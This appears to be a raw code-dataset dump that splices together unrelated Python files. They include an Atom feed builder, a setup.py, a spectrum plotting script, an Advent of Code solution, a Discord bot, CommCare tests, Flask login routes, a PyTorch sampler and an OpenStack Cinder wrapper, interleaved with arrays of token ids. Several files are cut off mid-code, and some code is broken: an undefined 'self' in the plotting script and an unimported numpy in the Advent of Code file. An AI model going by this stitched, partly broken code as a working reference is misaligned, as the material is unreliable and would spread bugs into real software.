feed_type and entry.deletion_type == 'featured' ) if not feed_match or (feed_match and feature_del): continue results.append(entry) results.sort(key=lambda x: x.Modified, reverse=True) return results def create_feed(entries, title, link, description): """Combine the entries into an actual Atom feed.""" new_feed = Atom1Feed( title=title, link=link, description=description, ) for entry in entries: data = dict( pubdate=entry.Modified, unique_id='urn:syndication:%s' % entry.__name__, categories=entry.Subject, category={'term': entry.Category, 'label': u'Site Title'}, author_name=entry.Creator, ) data['push:portal_type'] = entry.portal_type # Tile urls are added into one element for now data['push:tile_urls'] = '\|'.join(entry.tile_urls).lstrip('\|') data['push:deleted_tile_urls'] = '\|'.join( entry.deleted_tile_urls).lstrip('\|') if getattr(entry, 'content', None): data['content'] = entry.content if hasattr(entry, 'deletion_type'): data['push:deletion_type'] = entry.deletion_type new_feed.add_item( entry.Title, entry.url, entry.Description, **data ) return new_feed.writeString('utf-8') def global_shared(context, request): entries = combine_entries(context.shared, 'shared') return Response(create_feed(entries, 'All Shared Entries', route_url('shared', request), 'A combined feed of all entries shared to the PuSH Hub.' )) def global_selected(context, request): entries = combine_entries(context.shared, 'selected') return Response(create_feed(entries, 'All Selected Entries', route_url('selected', request), 'A combined feed of all entries selected across ' 'the PuSH Hub.' )) def global_deleted(context, request): entries = combine_entries(context.shared, 'deleted') return Response(create_feed(entries, 'All Deleted Entries', route_url('deleted', request), 'A combined feed of all entries that were deleted ' ' across the PuSH Hub.' ))	[ 1, 529, 276, 1112, 420, 29958, 1682, 433, 29914, 27031, 16046, 7974, 13, 15945, 29908, 13, 11882, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29941, 29892, 2169, 1237, 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setup.py	gokhanbaydar/py-money-legos	3	56904	import setuptools import os def get_files_in_dir(dirName): listOfFile = os.listdir(dirName) completeFileList = list() for file in listOfFile: completePath = os.path.join(dirName, file) if os.path.isdir(completePath): completeFileList = completeFileList + get_files_in_dir(completePath) else: completeFileList.append(completePath) return completeFileList def find_json_files(): json_files = [] files = get_files_in_dir(".") for file in files: root, extension = os.path.splitext(file) if extension == ".json": json_files.append(file) return json_files with open("MANIFEST.in", "w") as mfs: for file in find_json_files(): mfs.write("include " + file + "\n") with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="py-money-legos", version="0.1.1", author="<NAME>", author_email="<EMAIL>", description="money-legos for Python", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/gokhanbaydar/py-money-legos", packages=setuptools.find_packages(), include_package_data=True, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires=">=3.6", )	[ 1, 1053, 731, 21245, 8789, 13, 5215, 2897, 13, 13, 13, 1753, 679, 29918, 5325, 29918, 262, 29918, 3972, 29898, 3972, 1170, 1125, 13, 1678, 1051, 2776, 2283, 353, 2897, 29889, 1761, 3972, 29898, 3972, 1170, 29897, 13, 1678, 4866, 2283, 1293, 353, 1051, 580, 13, 1678, 363, 934, 297, 1051, 2776, 2283, 29901, 13, 4706, 4866, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3972, 1170, 29892, 934, 29897, 13, 4706, 565, 2897, 29889, 2084, 29889, 275, 3972, 29898, 8835, 2605, 1125, 13, 9651, 4866, 2283, 1293, 353, 4866, 2283, 1293, 718, 679, 29918, 5325, 29918, 262, 29918, 3972, 29898, 8835, 2605, 29897, 13, 4706, 1683, 29901, 13, 9651, 4866, 2283, 1293, 29889, 4397, 29898, 8835, 2605, 29897, 13, 1678, 736, 4866, 2283, 1293, 13, 13, 13, 1753, 1284, 29918, 3126, 29918, 5325, 7295, 13, 1678, 4390, 29918, 5325, 353, 5159, 13, 1678, 2066, 353, 679, 29918, 5325, 29918, 262, 29918, 3972, 17350, 1159, 13, 1678, 363, 934, 297, 2066, 29901, 13, 4706, 3876, 29892, 6081, 353, 2897, 29889, 2084, 29889, 23579, 568, 486, 29898, 1445, 29897, 13, 4706, 565, 6081, 1275, 11393, 3126, 1115, 13, 9651, 4390, 29918, 5325, 29889, 4397, 29898, 1445, 29897, 13, 1678, 736, 4390, 29918, 5325, 13, 13, 13, 2541, 1722, 703, 27616, 6545, 29923, 1254, 29889, 262, 613, 376, 29893, 1159, 408, 286, 5847, 29901, 13, 1678, 363, 934, 297, 1284, 29918, 3126, 29918, 5325, 7295, 13, 4706, 286, 5847, 29889, 3539, 703, 2856, 376, 718, 934, 718, 6634, 29876, 1159, 13, 13, 2541, 1722, 703, 16310, 2303, 29889, 3487, 613, 376, 29878, 613, 8025, 543, 9420, 29899, 29947, 1159, 408, 285, 29882, 29901, 13, 1678, 1472, 29918, 8216, 353, 285, 29882, 29889, 949, 580, 13, 13, 13, 842, 21245, 8789, 29889, 14669, 29898, 13, 1678, 1024, 543, 2272, 29899, 29885, 4992, 29899, 1397, 359, 613, 13, 1678, 1873, 543, 29900, 29889, 29896, 29889, 29896, 613, 13, 1678, 4148, 543, 29966, 5813, 28341, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 6139, 543, 29885, 4992, 29899, 1397, 359, 363, 5132, 613, 13, 1678, 1472, 29918, 8216, 29922, 5426, 29918, 8216, 29892, 13, 1678, 1472, 29918, 8216, 29918, 3051, 29918, 1853, 543, 726, 29914, 3502, 3204, 613, 13, 1678, 3142, 543, 991, 597, 3292, 29889, 510, 29914, 29887, 554, 5403, 27495, 16702, 29914, 2272, 29899, 29885, 4992, 29899, 1397, 359, 613, 13, 1678, 9741, 29922, 842, 21245, 8789, 29889, 2886, 29918, 8318, 3285, 13, 1678, 3160, 29918, 5113, 29918, 1272, 29922, 5574, 29892, 13, 1678, 770, 14903, 11759, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 613, 13, 4706, 376, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 613, 13, 4706, 376, 7094, 1218, 2184, 4761, 6570, 25266, 613, 13, 1678, 21251, 13, 1678, 3017, 29918, 276, 339, 2658, 543, 18572, 29941, 29889, 29953, 613, 13, 29897, 2 ]
methods/autoplot.py	cndaqiang/raman_spectrum_analysis	8	192585	from ramanspectrum import * import sys """ Run python 'autoplot.py labels.txt'. Creates simple plots of the spectra. """ label = sys.argv[1] with open('labels.txt', 'r') as file: labels = file.readlines() for i in range(len(labels)): labels[i] = labels[i].rstrip() for label in labels: label = label.split(r'\n')[0] spec = ramanspectrum(data_file = label + '/data_' + label + '.txt',label = label) plt.clf() plt.plot(spec.x, spec.y, 'b-') plt.xlim(self.x[0], 550) plt.savefig(label + '/simpleplot_' + label + '.pdf')	[ 1, 515, 13472, 550, 1103, 5848, 1053, 334, 13, 5215, 10876, 13, 13, 15945, 29908, 13, 6558, 3017, 525, 1300, 459, 8276, 29889, 2272, 11073, 29889, 3945, 4286, 6760, 1078, 2560, 24580, 310, 278, 6683, 336, 29889, 13, 15945, 29908, 13, 13, 1643, 353, 10876, 29889, 19218, 29961, 29896, 29962, 13, 2541, 1722, 877, 21134, 29889, 3945, 742, 525, 29878, 1495, 408, 934, 29901, 13, 12, 21134, 353, 934, 29889, 949, 9012, 580, 13, 1454, 474, 297, 3464, 29898, 2435, 29898, 21134, 22164, 13, 12, 21134, 29961, 29875, 29962, 353, 11073, 29961, 29875, 1822, 29878, 17010, 580, 13, 13, 1454, 3858, 297, 11073, 29901, 13, 12, 1643, 353, 3858, 29889, 5451, 29898, 29878, 12764, 29876, 29861, 29900, 29962, 13, 12, 6550, 353, 13472, 550, 1103, 5848, 29898, 1272, 29918, 1445, 353, 3858, 718, 8207, 1272, 29918, 29915, 718, 3858, 718, 15300, 3945, 742, 1643, 353, 3858, 29897, 13, 12, 572, 29873, 29889, 695, 29888, 580, 13, 12, 572, 29873, 29889, 5317, 29898, 6550, 29889, 29916, 29892, 1580, 29889, 29891, 29892, 525, 29890, 29899, 1495, 13, 12, 572, 29873, 29889, 29916, 2576, 29898, 1311, 29889, 29916, 29961, 29900, 1402, 29871, 29945, 29945, 29900, 29897, 13, 12, 572, 29873, 29889, 7620, 1003, 29898, 1643, 718, 8207, 12857, 5317, 29918, 29915, 718, 3858, 718, 15300, 5140, 1495, 13, 2 ]
2019/python/day10.py	dsvensson/advent-of-code	0	163698	<filename>2019/python/day10.py from collections import defaultdict t = """ .#..# ..... ##### ....# ...## """.strip() t = open("../data/day10.input").read() t = t.split("\n") astroids = [] for y, row in enumerate(t): for x, col in enumerate(row): if col == "#": astroids.append((y,x)) def line(p1, p2): "Bresenham's line algorithm" x1, y1 = p1 x2, y2 = p2 m_new = 2 * (y2 - y1) slope_error_new = m_new - (x2 - x1) y=y1 r = [] for x in range(x1,x2+1): r.append((x,y)) # Add slope to increment angle formed slope_error_new =slope_error_new + m_new # Slope error reached limit, time to # increment y and update slope error. if (slope_error_new >= 0): y=y+1 slope_error_new =slope_error_new - 2 * (x2 - x1) return r def find(p1, p2, aset): possible = aset - set([p1, p2]) while True: lpos = len(possible) possible2 = possible.copy() for p3 in possible: v1 = numpy.cross(p2, p1) v2 = numpy.cross(p3, p1) v3 = numpy.cross(p3, p2) if numpy.dot(v2,v1) > 0 and numpy.dot(v3,v1) < 0: possible2.remove(p3) if len(possible) == len(possible2) or len(possible2) == 0: break possible = possible2 print(p1, p2, len(possible2), possible2) return possible2 res = defaultdict(int) astroids = set(astroids) p1,p2,p3 = [(0,0),(1,1),(2,2)] """ for p1 in astroids: taken = set([]) for p2 in astroids: for p3 in astroids: """ import math def foo(p1, p2, p3): dxc = p3[1] - p1[1] dyc = p3[0] - p1[0] dxl = p2[1] - p1[1] dyl = p2[0] - p1[0] cross = dxc * dyl - dyc * dxl if cross != 0: return False if (math.fabs(dxl) >= math.fabs(dyl)): if dxl > 0: return p1[1] <= p3[1] and p3[1] <= p2[1] return p2[1] <= p3[1] and p3[1] <= p1[1] else: if dyl > 0: return p1[0] <= p3[0] and p3[0] <= p2[0] return p2[0] <= p3[0] and p3[0] <= p1[0] """ res = defaultdict(int) for p1 in astroids: tot = 0 for p2 in astroids: if p2 == p1: continue found = False for p3 in astroids: if p3 in (p1, p2): continue if foo(p1,p2,p3): found = True if not found: tot += 1 res[p1] = tot for k,v in res.items(): print(k, "->", v) print(foo(p1,p2,p2)) print(max(res.values())) """ p1 = (28, 22) astroids.remove(p1) max_x = max(x for y,x in astroids)+1 max_y = max(y for y,x in astroids)+1 found_max = 0 import operator def scan(p, ast, cand, ordr): for p3 in cand: hidden = False for p4 in cand: if p3 == p4: continue if foo(p, p3, p4): hidden = True if not hidden: ordr.append(p3) ast.remove(p3) print("removed") order = [] while len(astroids) > 0: print(len(astroids), len(order)) for x in range(max_x): p2 = (0, x) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for y in range(max_y): p2 = (y, max_x-1) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for x in range(max_x): p2 = (max_y-1, max_x - x - 1) candidates = [] for p3 in astroids: if foo(p1,p2,p3): candidates.append(p3) scan(p1, astroids, candidates, order) for y in range(max_y): p2 = (max_y - y - 1, 0) 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pat/pat.py	javascripto/syxactions	0	176962	<reponame>javascripto/syxactions from discord.ext import commands from discord.ext.commands import errors, converter from .utils.dataIO import fileIO import random import discord class Pat: def __init__(self, bot): self.bot = bot @commands.command(pass_context=True) async def pat(self, context, member: discord.Member=None): """Pat your senpai/waifu or even the enemy!""" author = context.message.author.mention text = ("someone who is really worth it!!") if member != None: mention = member.mention text = mention pat = "{0} pats {1}!" choices = fileIO("data/pat/syxactions/pat.json","load") image = random.choice(choices) embed = discord.Embed(description=pat.format(author, text), colour=discord.Colour.blue()) embed.set_image(url=image) await self.bot.say(embed=embed) def setup(bot): n = Pat(bot) bot.add_cog(n)	[ 1, 529, 276, 1112, 420, 29958, 7729, 29877, 29914, 29879, 29891, 29916, 7387, 13, 3166, 2313, 536, 29889, 1062, 1053, 8260, 13, 3166, 2313, 536, 29889, 1062, 29889, 26381, 1053, 4436, 29892, 29105, 13, 3166, 869, 13239, 29889, 1272, 5971, 1053, 934, 5971, 13, 5215, 4036, 13, 5215, 2313, 536, 13, 13, 1990, 4121, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 9225, 1125, 13, 4706, 1583, 29889, 7451, 353, 9225, 13, 13, 1678, 732, 26381, 29889, 6519, 29898, 3364, 29918, 4703, 29922, 5574, 29897, 13, 1678, 7465, 822, 2373, 29898, 1311, 29892, 3030, 29892, 4509, 29901, 2313, 536, 29889, 13404, 29922, 8516, 1125, 13, 4706, 9995, 11457, 596, 6940, 29886, 1794, 29914, 2766, 361, 29884, 470, 1584, 278, 11103, 3850, 15945, 13, 4706, 4148, 353, 3030, 29889, 4906, 29889, 8921, 29889, 358, 291, 13, 4706, 1426, 353, 4852, 5372, 650, 1058, 338, 2289, 7088, 372, 6824, 1159, 13, 308, 13, 4706, 565, 4509, 2804, 6213, 29901, 13, 9651, 3585, 353, 4509, 29889, 358, 291, 13, 9651, 1426, 353, 3585, 13, 13, 4706, 2373, 353, 376, 1068, 29912, 29900, 29913, 282, 1446, 426, 29896, 29913, 29991, 1068, 29908, 13, 13, 4706, 19995, 353, 934, 5971, 703, 1272, 29914, 5031, 29914, 29879, 29891, 29916, 7387, 29914, 5031, 29889, 3126, 3284, 1359, 1159, 12, 12, 13, 462, 13, 4706, 1967, 353, 4036, 29889, 16957, 29898, 1859, 1575, 29897, 13, 308, 13, 4706, 8297, 353, 2313, 536, 29889, 6026, 2580, 29898, 8216, 29922, 5031, 29889, 4830, 29898, 8921, 29892, 1426, 511, 12384, 29922, 2218, 16090, 29889, 1625, 473, 29889, 9539, 3101, 13, 4706, 8297, 29889, 842, 29918, 3027, 29898, 2271, 29922, 3027, 29897, 13, 13, 4706, 7272, 1583, 29889, 7451, 29889, 20834, 29898, 17987, 29922, 17987, 29897, 13, 13, 1753, 6230, 29898, 7451, 1125, 13, 1678, 302, 353, 4121, 29898, 7451, 29897, 13, 1678, 9225, 29889, 1202, 29918, 29883, 468, 29898, 29876, 29897, 13, 2 ]
corehq/motech/tests/test_repeater_helpers.py	andyasne/commcare-hq	471	70296	<gh_stars>100-1000 from django.test.testcases import TestCase from mock import patch from corehq.form_processor.models import CommCareCaseSQL from datetime import datetime from corehq.form_processor.interfaces.dbaccessors import CaseAccessors from corehq.motech.repeater_helpers import get_relevant_case_updates_from_form_json class TestRepeaterHelpers(TestCase): def setUp(self): self.domain = 'test-domain' self.extra_fields = [] self.form_question_values = {} case_1_data = { 'case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd', 'domain': self.domain, 'type': 'paciente', 'name': 'case1', 'owner_id': 'owner_1', 'modified_by': 'modified_by', } case_2_data = { 'case_id': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc', 'domain': self.domain, 'type': 'casa', 'name': 'case2', 'owner_id': 'owner_2', 'modified_by': 'modified_by', } self.case_1 = create_commcare_case(case_1_data) self.case_2 = create_commcare_case(case_2_data) def tearDown(self): self.case_1.delete() self.case_2.delete() @patch.object(CaseAccessors, 'get_cases') def test__get_relevant_case_updates_from_form_json_with_case_types(self, get_cases): get_cases.return_value = [self.case_1, self.case_2] result = get_relevant_case_updates_from_form_json( self.domain, _get_form_json(), ['paciente'], self.extra_fields ) self.assertEqual(len(result), 2) @patch.object(CaseAccessors, 'get_cases') def test__get_relevant_case_updates_from_form_json_without_case_types(self, get_cases): get_cases.return_value = [self.case_1, self.case_2] result = get_relevant_case_updates_from_form_json( self.domain, _get_form_json(), [], self.extra_fields ) self.assertEqual(len(result), 3) def create_commcare_case(data): cccsql = CommCareCaseSQL( case_id=data['case_id'], domain=data['domain'], type=data['type'], name=data['name'], owner_id=data['owner_id'], modified_by=data['modified_by'], modified_on=datetime.utcnow(), server_modified_on=datetime.utcnow(), ) cccsql.save() return cccsql def _get_form_json(): return {'app_id': 'APP_ID', 'archived': False, 'attachments': { 'form.xml': { 'content_type': 'text/xml', 'length': 10975, 'url': 'https://www.commcarehq.org/a/infomovel-pepfar' '/api/form/attachment/CONFIDENTIAL/form.xml' } }, 'build_id': 'BUILD_ID', 'domain': 'infomovel-pepfar', 'edited_by_user_id': None, 'edited_on': None, 'form': {'#type': 'data', '@name': 'SOME NAME', '@uiVersion': '1', '@version': 'VERSION', '@xmlns': 'http://openrosa.org/formdesigner/IDIDID', 'casa_data': {'convivente_cascade': {}, 'conviventes_names': {}, 'index_cascade': {}, 'save_to_case': {'alocar_paciente_casa': { 'case': {'@case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd', '@date_modified': '2021-06-24T08:43:06.746000Z', '@user_id': 'USER ID', '@xmlns': 'http://commcarehq.org/case/transaction/v2', 'index': { 'parent': { '#text': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc', '@case_type': '', '@relationship': 'child' } }}}, 'criar_actualizar_casa': { 'case': {'@case_id': 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app/morocco/authentication.py	troydai/Morocco	0	27022	import flask_login from .application import app from .models import DbUser login_manager = flask_login.LoginManager() # pylint: disable=invalid-name login_manager.init_app(app) login_manager.user_loader(lambda user_id: DbUser.query.filter_by(id=user_id).first()) login_required = flask_login.login_required @login_manager.unauthorized_handler def unauthorized_handler(): from flask import redirect, request, url_for return redirect(url_for('login', request_uri=request.path)) @app.before_request def redirect_https(): from flask import redirect, request if 'X-Arr-Ssl' not in request.headers and not app.config['is_local_server']: redirect_url = request.url.replace('http', 'https') return redirect(redirect_url) @app.route('/', methods=['GET']) def index(): from flask import render_template byline = 'Morocco - An automation service runs on Azure Batch.\n' return render_template('index.html', byline=byline, title='Azure CLI') @app.route('/login', methods=['GET']) def login(): """Redirect user agent to Azure AD sign-in page""" import morocco.auth return morocco.auth.openid_login() @app.route('/signin-callback', methods=['POST']) def signin_callback(): """Redirect from AAD sign in page""" def get_or_add_user(user_id: str): from .application import db from .models import DbUser user = DbUser.query.filter_by(id=user_id).first() if not user: user = DbUser(user_id) db.session.add(user) db.session.commit() return user import morocco.auth return morocco.auth.openid_callback(get_or_add_user) @app.route('/logout', methods=['POST']) def logout(): """Logout from both this application as well as Azure OpenID sign in.""" import morocco.auth return morocco.auth.openid_logout()	[ 1, 1053, 29784, 29918, 7507, 13, 3166, 869, 6214, 1053, 623, 13, 3166, 869, 9794, 1053, 24331, 2659, 13, 13, 7507, 29918, 12847, 353, 29784, 29918, 7507, 29889, 11049, 3260, 580, 29871, 396, 282, 2904, 524, 29901, 11262, 29922, 20965, 29899, 978, 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benchmark/citation/trainable/cold_start_recall100/negative_sampling.py	snubeaver/pytorch_geo	2	69846	import random import torch import numpy as np from torch_geometric.utils import degree, to_undirected def negative_sampling(edge_index, num_nodes=None, num_neg_samples=None, force_undirected=False): num_neg_samples = num_neg_samples or edge_index.size(1) # Handle '\|V\|^2 - \|E\| < \|E\|' case for G = (V, E). num_neg_samples = min(num_neg_samples, num_nodes * num_nodes - edge_index.size(1)) rng = range(num_nodes*2) # idx = N i + j idx = (edge_index[0] * num_nodes + edge_index[1]).to('cpu') perm = torch.tensor(random.sample(rng, num_neg_samples)) # pos edge면 true 처리 mask = torch.from_numpy(np.isin(perm, idx)).to(torch.bool) rest = mask.nonzero().view(-1) while rest.numel() > 0: # pragma: no cover tmp = torch.tensor(random.sample(rng, rest.size(0))) mask = torch.from_numpy(np.isin(tmp, idx)).to(torch.bool) perm[rest] = tmp rest = rest[mask.nonzero().view(-1)] row = perm / num_nodes col = perm % num_nodes neg_edge_index = torch.stack([row, col], dim=0).long() return neg_edge_index.to(edge_index.device)	[ 1, 1053, 4036, 13, 13, 5215, 4842, 305, 13, 5215, 12655, 408, 7442, 13, 3166, 4842, 305, 29918, 479, 14066, 29889, 13239, 1053, 7426, 29892, 304, 29918, 870, 1088, 287, 13, 13, 13, 13, 1753, 8178, 29918, 13445, 10335, 29898, 12864, 29918, 2248, 29892, 954, 29918, 18010, 29922, 8516, 29892, 954, 29918, 10052, 29918, 27736, 29922, 8516, 29892, 13, 462, 418, 4889, 29918, 870, 1088, 287, 29922, 8824, 1125, 13, 13, 1678, 954, 29918, 10052, 29918, 27736, 353, 954, 29918, 10052, 29918, 27736, 470, 7636, 29918, 2248, 29889, 2311, 29898, 29896, 29897, 13, 13, 1678, 396, 29273, 525, 29989, 29963, 15333, 29906, 448, 891, 29923, 29989, 529, 891, 29923, 29989, 29915, 1206, 363, 402, 353, 313, 29963, 29892, 382, 467, 13, 1678, 954, 29918, 10052, 29918, 27736, 353, 1375, 29898, 1949, 29918, 10052, 29918, 27736, 29892, 13, 462, 3986, 954, 29918, 18010, 334, 954, 29918, 18010, 448, 7636, 29918, 2248, 29889, 2311, 29898, 29896, 876, 13, 13, 13, 1678, 364, 865, 353, 3464, 29898, 1949, 29918, 18010, 1068, 29906, 29897, 13, 1678, 396, 22645, 353, 405, 334, 474, 718, 432, 13, 1678, 22645, 353, 313, 12864, 29918, 2248, 29961, 29900, 29962, 334, 954, 29918, 18010, 718, 7636, 29918, 2248, 29961, 29896, 14664, 517, 877, 21970, 1495, 13, 13, 1678, 3635, 353, 4842, 305, 29889, 20158, 29898, 8172, 29889, 11249, 29898, 29878, 865, 29892, 954, 29918, 10052, 29918, 27736, 876, 13, 1678, 396, 926, 7636, 31747, 1565, 29871, 239, 181, 155, 30826, 13, 1678, 11105, 353, 4842, 305, 29889, 3166, 29918, 23749, 29898, 9302, 29889, 275, 262, 29898, 17858, 29892, 22645, 8106, 517, 29898, 7345, 305, 29889, 11227, 29897, 13, 13, 1678, 1791, 353, 11105, 29889, 5464, 9171, 2141, 1493, 6278, 29896, 29897, 13, 1678, 1550, 1791, 29889, 1949, 295, 580, 1405, 29871, 29900, 29901, 29871, 396, 282, 23929, 29901, 694, 4612, 13, 4706, 13128, 353, 4842, 305, 29889, 20158, 29898, 8172, 29889, 11249, 29898, 29878, 865, 29892, 1791, 29889, 2311, 29898, 29900, 4961, 13, 4706, 11105, 353, 4842, 305, 29889, 3166, 29918, 23749, 29898, 9302, 29889, 275, 262, 29898, 7050, 29892, 22645, 8106, 517, 29898, 7345, 305, 29889, 11227, 29897, 13, 4706, 3635, 29961, 5060, 29962, 353, 13128, 13, 4706, 1791, 353, 1791, 29961, 13168, 29889, 5464, 9171, 2141, 1493, 6278, 29896, 4638, 13, 13, 13, 1678, 1948, 353, 3635, 847, 954, 29918, 18010, 13, 1678, 784, 353, 3635, 1273, 954, 29918, 18010, 13, 1678, 3480, 29918, 12864, 29918, 2248, 353, 4842, 305, 29889, 1429, 4197, 798, 29892, 784, 1402, 3964, 29922, 29900, 467, 5426, 580, 13, 13, 1678, 736, 3480, 29918, 12864, 29918, 2248, 29889, 517, 29898, 12864, 29918, 2248, 29889, 10141, 29897, 13, 13, 2 ]
openstack/regression/lib/cinder.py	rpratap-bot/ceph-qe-scripts	0	105320	import os import cinderclient.exceptions as c_exceptions from cinderclient.v2 import client as c_client import log class CinderReturnStack(object): def __init__(self): pass class CinderAuth(object): def __init__(self): self.os_username = os.environ['OS_USERNAME'] self.os_api_key = os.environ['OS_PASSWORD'] self.os_auth_url = os.environ['OS_AUTH_URL'] self.os_tenant = os.environ['OS_TENANT_NAME'] def auth(self): """ :return:auth_stack - auth_stack.cinder : cinder object after authenticating - auth_stack.status : True or False """ auth_stack = CinderReturnStack() log.info('in lib: auth') try: cinder = c_client.Client(auth_url=self.os_auth_url, username=self.os_username, api_key=self.os_api_key, project_id=self.os_tenant, service_type='volumev2') auth_stack.cinder, auth_stack.status = cinder, True log.info('Cinder Auth successful') except c_exceptions.AuthorizationFailure, e: auth_stack.cinder, auth_stack.status = None, False log.error('cinder auth failed') log.error(e.message) return auth_stack class CinderVolumes(object): def __init__(self, cinder_auth): self.cinder = cinder_auth def create_volume(self, name, size, image_id=None): """ :param name: string :param size: int :param image_id: int[optional] :return volume_create - volume_create.vol : volume object - volume_create.status : True or False """ log.info("in lib: Create volume") volume_create = CinderReturnStack() try: log.info('initialized volume creation') volume = self.cinder.volumes.create(name=name, size=size, imageRef=image_id) volume_create.vol, volume_create.status = volume, True except c_exceptions.ClientException, e: log.error(e) volume_create.vol, volume_create.status = None, False return volume_create def list_volumes(self): """ :return volumes_list - volumes_list.volumes : list of volumes object - volumes_list.status : True or False """ volumes_list = CinderReturnStack() volumes_list.volumes = [] try: log.info("List cinder volumes") volumes = self.cinder.volumes.list() # will return volumes.size, volumes.name , volumes.id, volumes.status ... volumes_list.status = True if volumes: volumes_list.volumes = volumes except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) volumes_list.status = False return volumes_list def get_volume(self, volume): """ :param volume: volume object :return:each_volume - each_volume.volume : volume object - each_volume.status : True or False """ each_volume = CinderReturnStack() each_volume.volume = None try: log.info("get cinder volume details") volume = self.cinder.volumes.get(volume.id) each_volume.volume = volume each_volume.status = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) each_volume.status = False return each_volume def extend_volume(self, volume, new_size): """ :param volume: :param new_size: :return extend - extend.execute : True or False """ extend = CinderReturnStack() extend.execute = False try: self.cinder.volumes.extend(volume, new_size) extend.execute = True except c_exceptions.ClientException, e: log.error(e) return extend def delete_volume(self, volume): """ :param volume: volume object :return: volume_delete - volume_delete.execute: True or False """ log.info('in lib of delete volume') volume_delete = CinderReturnStack() volume_delete.execute = False try: self.cinder.volumes.delete(volume) volume_delete.execute = True log.info('delete volume executed') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return volume_delete class CinderBackup(object): def __init__(self, cinder_auth): self.cinder = cinder_auth def create_backup(self, volume, incremental=False, name=None): """ :param volume: volume object :param incremental: int :param name: string :return backup - backup.volume_backup : volume backup object - backup.status : True or False """ backup = CinderReturnStack() backup.volume_backup = None try: volume_backup = self.cinder.backups.create(volume.id, name=name, incremental=incremental) backup.volume_backup, backup.status = volume_backup, True except c_exceptions.ClientException, e: log.error(e) backup.status = False return backup def get_backup(self, backup): """ :param backup: backup object :return: get_back.back: backup object get_back.status : True or False """ get_back = CinderReturnStack() get_back.back = None try: backup = self.cinder.backups.get(backup) get_back.back, get_back.status = backup, True except c_exceptions.ClientException, e: log.error(e) get_back.status = False return get_back def list_backup(self): """ :return backups_list - backups_list.backups : list of backup objects - backups_list.status : True or False """ backups_list = CinderReturnStack() backups_list.backups = [] try: log.info("List cinder backup volumes") backups = self.cinder.backups.list() # will return backups class. backups_list.status = True if backups: backups_list.backups = backups except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) backups_list.status = False return backups_list def restore_backup(self, backup, volume): """ :param backup: backup object :param volume: volume object :return: restore - restore.restore.restore_dict: dic of backup id and volume id - restore.execute: True or False """ restore = CinderReturnStack() restore.execute = False restore.restore_dict = None try: restore_dict = self.cinder.restores.restore(backup.id, volume.id) restore.restore_dict = restore_dict restore.execute = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return restore def delete_backup(self, backup): """ :param backup: object of the backup :return: delete - delete.execue: True or False """ delete = CinderReturnStack() delete.execute = False try: self.cinder.backups.delete(backup) delete.execute = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return delete class CinderSnapshot(object): def __init__(self,cinder_auth): self.cinder = cinder_auth def create_snapshot(self, volume, snapshot_name): """ :param volume: object of the volume :param snapshot_name: string, name for creating the snapshot :return snapshot - snapshot.volume_snapshot : object of the snapshot # rename to snapshot - snapshot.status : True or False """ log.info('in lib: create snapshots') snapshot = CinderReturnStack() snapshot.volume_snapshot = None ftype = False if volume.status == "available": ftype = False elif volume.status == "in-use": ftype = True log.info('setting force type: %s' % ftype) try: volume_snapshot = self.cinder.volume_snapshots.create(volume.id, name=snapshot_name, force=ftype) snapshot.volume_snapshot = volume_snapshot snapshot.status = True log.info('volume snapshot creation executed') except c_exceptions.ClientException, e: log.error(e) snapshot.status = False return snapshot def list_snapshot(self): """ :return:snapshot_list - snapshot_list.snapshots : lists of snapshot objects - snapshot_list.status : True or False """ log.info('in lib of list snapshot') snapshots_list = CinderReturnStack() snapshots_list.snapshots = [] try: snapshots = self.cinder.volume_snapshots.list() # will return snapshot class. snapshots_list.status = True if snapshots: log.info('got snapshots') snapshots_list.snapshots = snapshots log.error('got no snapshots') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) snapshots_list.status = False return snapshots_list def delete_snapshot(self, snapshot): """ :param snapshot: object of the snapshot :return:snapshot_delete - snapshot_delete.execute: True or False """ log.info('in lib of delete snapshot') snapshot_delete = CinderReturnStack() snapshot_delete.execute = False try: self.cinder.volume_snapshots.delete(snapshot) snapshot_delete.execute = True log.info('delete snapshot executed') except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) return snapshot_delete def get_snapshot(self, snapshot): """ :param snapshot: snapshot object :return:each_snapshot - each_snapshot.snapshot : snapshot object - each_snapshot.status : True or False """ each_snap = CinderReturnStack() each_snap.snapshot = None try: log.info("get snapshot details") volume_snap = self.cinder.volume_snapshots.get(snapshot.id) each_snap.snapshot = volume_snap each_snap.status = True except (c_exceptions.NotFound, c_exceptions.ClientException), e: log.error(e) each_snap.status = False return each_snap def create_vol_from_snap(self, snapshot, name, size): """ :param snapshot: object of the snapshot :param size: int, :param name: volume name: string :return: snapshot_volume - snapshot_volume.status: True or False """ log.info('in lib of create vol from snapshot') snapshot_volume = CinderReturnStack() snapshot_volume.volume = None try: volume = self.cinder.volumes.create(size=size, name=name, snapshot_id=snapshot) snapshot_volume.status = True snapshot_volume.volume = volume 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TEP/lista1/E.py	GuilhermeBraz/unb-workflow	0	150937	# Diamond Miner is a game that is similar to Gold Miner, but there are nnn miners instead of 111 in this game. # The mining area can be described as a plane. The nnn miners can be regarded as nnn points on the y-axis. There are 